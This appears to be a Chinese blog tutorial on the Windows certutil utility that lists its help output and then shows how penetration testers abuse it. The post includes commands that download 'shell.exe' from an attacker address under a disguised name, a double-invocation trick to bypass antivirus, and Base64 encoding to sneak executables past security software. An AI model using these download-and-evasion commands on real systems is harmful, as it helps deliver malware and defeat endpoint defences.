certutil工具的使用介绍

cnblogs 2024-07-13 08:15:00 阅读 87

一、Certutil 介绍

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件,因为certutil是windows自带的exe。

使用语法 :

<code>"certutil.exe -urlcache -split -f [URL] output.file"

-f

覆盖现有文件。

有值的命令行选项。后面跟要下载的文件 url。

-split

保存到文件。

无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。

-URLCache

显示或删除URL缓存条目。

无值的命令行选项。

但是此合法Windows服务现已被广泛滥用于恶意用途。

渗透中主要利用其 下载、编码、解码、替代数据流 等功能。

这里我首先在命令行用certutil -?查看一下certutil所有的参数,接下来就总结一下最常用的几个关于certutil在内网渗透中的应用。

点击查看代码

C:\Users\123456\Desktop>certutil -?

动词:

-dump -- 转储配置信息或文件

-dumpPFX -- 转储 PFX 结构

-asn -- 分析 ASN.1 文件

-decodehex -- 解码十六进制编码的文件

-decode -- 解码 Base64 编码的文件

-encode -- 将文件编码为 Base64

-deny -- 拒绝挂起的申请

-resubmit -- 重新提交挂起的申请

-setattributes -- 为挂起申请设置属性

-setextension -- 为挂起申请设置扩展

-revoke -- 吊销证书

-isvalid -- 显示当前证书部署

-getconfig -- 获取默认配置字符串

-ping -- Ping Active Directory 证书服务申请接口

-pingadmin -- Ping Active Directory 证书服务管理接口

-CAInfo -- 显示 CA 信息

-ca.cert -- 检索 CA 的证书

-ca.chain -- 检索 CA 的证书链

-GetCRL -- 获取 CRL

-CRL -- 发布新的 CRL [或仅增量 CRL]

-shutdown -- 关闭 Active Directory 证书服务

-installCert -- 安装证书颁发机构证书

-renewCert -- 续订证书颁发机构证书

-schema -- 转储证书架构

-view -- 转储证书视图

-db -- 转储原始数据库

-deleterow -- 删除服务器数据库行

-backup -- 备份 Active Directory 证书服务

-backupDB -- 备份 Active Directory 证书服务数据库

-backupKey -- 备份 Active Directory 证书服务证书和私钥

-restore -- 还原 Active Directory 证书服务

-restoreDB -- 还原 Active Directory 证书服务数据库

-restoreKey -- 还原 Active Directory 证书服务证书和私钥

-importPFX -- 导入证书和私钥

-dynamicfilelist -- 显示动态文件列表

-databaselocations -- 显示数据库位置

-hashfile -- 通过文件生成并显示加密哈希

-store -- 转储证书存储

-enumstore -- 枚举证书存储

-addstore -- 将证书添加到存储

-delstore -- 从存储删除证书

-verifystore -- 验证存储中的证书

-repairstore -- 修复密钥关联,或者更新证书属性或密钥安全描述符

-viewstore -- 转储证书存储

-viewdelstore -- 从存储删除证书

-UI -- 调用 CryptUI

-attest -- 验证密钥证明请求

-dsPublish -- 将证书或 CRL 发布到 Active Directory

-ADTemplate -- 显示 AD 模板

-Template -- 显示注册策略模板

-TemplateCAs -- 显示模板的 CA

-CATemplates -- 显示 CA 的模板

-SetCASites -- 管理 CA 的站点名称

-enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL

-ADCA -- 显示 AD CA

-CA -- 显示注册策略 CA

-Policy -- 显示注册策略

-PolicyCache -- 显示或删除注册策略缓存项目

-CredStore -- 显示、添加或删除凭据存储项目

-InstallDefaultTemplates -- 安装默认的证书模板

-URLCache -- 显示或删除 URL 缓存项目

-pulse -- 以脉冲方式执行自动注册事件或 NGC 任务

-MachineInfo -- 显示 Active Directory 计算机对象信息

-DCInfo -- 显示域控制器信息

-EntInfo -- 显示企业信息

-TCAInfo -- 显示 CA 信息

-SCInfo -- 显示智能卡信息

-SCRoots -- 管理智能卡根证书

-DeleteHelloContainer -- 删除 Hello 登录容器。

** 在使用此选项后, 用户需要注销才能完成。**

-verifykeys -- 验证公/私钥集

-verify -- 验证证书,CRL 或链

-verifyCTL -- 验证 AuthRoot 或不允许的证书 CTL

-syncWithWU -- 与 Windows 更新同步

-generateSSTFromWU -- 通过 Windows 更新生成 SST

-generatePinRulesCTL -- 生成捆绑规则 CTL

-downloadOcsp -- 下载 OCSP 响应并写入目录

-generateHpkpHeader -- 使用指定文件或目录中的证书生成 HPKP 头

-flushCache -- 刷新选定进程(例如 lsass.exe)中的指定缓存

-addEccCurve -- 添加 ECC 曲线

-deleteEccCurve -- 删除 ECC 曲线

-displayEccCurve -- 显示 ECC 曲线

-sign -- 重新签名 CRL 或证书

-vroot -- 创建/删除 Web 虚拟根和文件共享

-vocsproot -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根

-addEnrollmentServer -- 添加注册服务器应用程序

-deleteEnrollmentServer -- 删除注册服务器应用程序

-addPolicyServer -- 添加策略服务器应用程序

-deletePolicyServer -- 删除策略服务器应用程序

-oid -- 显示 ObjectId 或设置显示名称

-error -- 显示错误代码消息文本

-getreg -- 显示注册表值

-setreg -- 设置注册表值

-delreg -- 删除注册表值

-ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库

-ImportCert -- 将证书文件导入数据库

-GetKey -- 检索存档的私钥恢复 Blob,生成恢复脚本 或恢复存档的密钥

-RecoverKey -- 恢复存档的私钥

-MergePFX -- 合并 PFX 文件

-ConvertEPF -- 将 PFX 文件转换为 EPF 文件

-add-chain -- (-AddChain) 添加证书链

-add-pre-chain -- (-AddPrechain) 添加预植证书链

-get-sth -- (-GetSTH) 获取签名树头

-get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改

-get-proof-by-hash -- (-GetProofByHash) 获取哈希证明

-get-entries -- (-GetEntries) 获取项

-get-roots -- (-GetRoots) 获取根

-get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明

-VerifyCT -- 验证证书 SCT

-? -- 显示该用法消息

CertUtil -? -- 显示动词列表(命名列表)

CertUtil -dump -? -- 显示 "dump" 动词的帮助文本

CertUtil -v -? -- 显示所有动词的所有帮助文本

CertUtil: -? 命令成功完成。

二、常用功能介绍

2.1 下载远程文件

在 cmd 中将文件从网址上下载下来,保存为123.txt

C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt

如果超时没有操作的话就会显示拒绝访问

这里有两种方法对杀软进行certutil下载绕过,本质都是执行两次certutil

第一种方法是先执行一个单独的certutil,然后再执行下载exe的命令,可以看到这里已经能够成功下载

certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe

2.2 将本地程序搭建为http服务器

将本地可执行程序,搭建为一个http服务器,端口为8000,并执行该服务

http://192.168.206.130:8000

C:\Users\12345\Desktop>123.exe -python -m http.server 8000

C:\Users\12345\Desktop>python -m http.server 8000

certutil -urlcache -split -f http://192.168.206.130:8000/123.exe

2.3 使用CertUtil + Base64来绕过安全软件

Certutil 包含一个编码参数(编码),这有助于在 Base64 中编码文件的内容。可以使用 certutil 对可执行文件进行编码,然后传输编码后的数据,在接收机上对其进行解码。

常用与sql注入,对任意文件进行Base64编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。

将123.exe编码为123.txt

C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt

将123.txt解码为123.exe

C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe

更多详解参考--->

https://mrwq.github.io/aggregate-paper/butian/certutil详解/



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。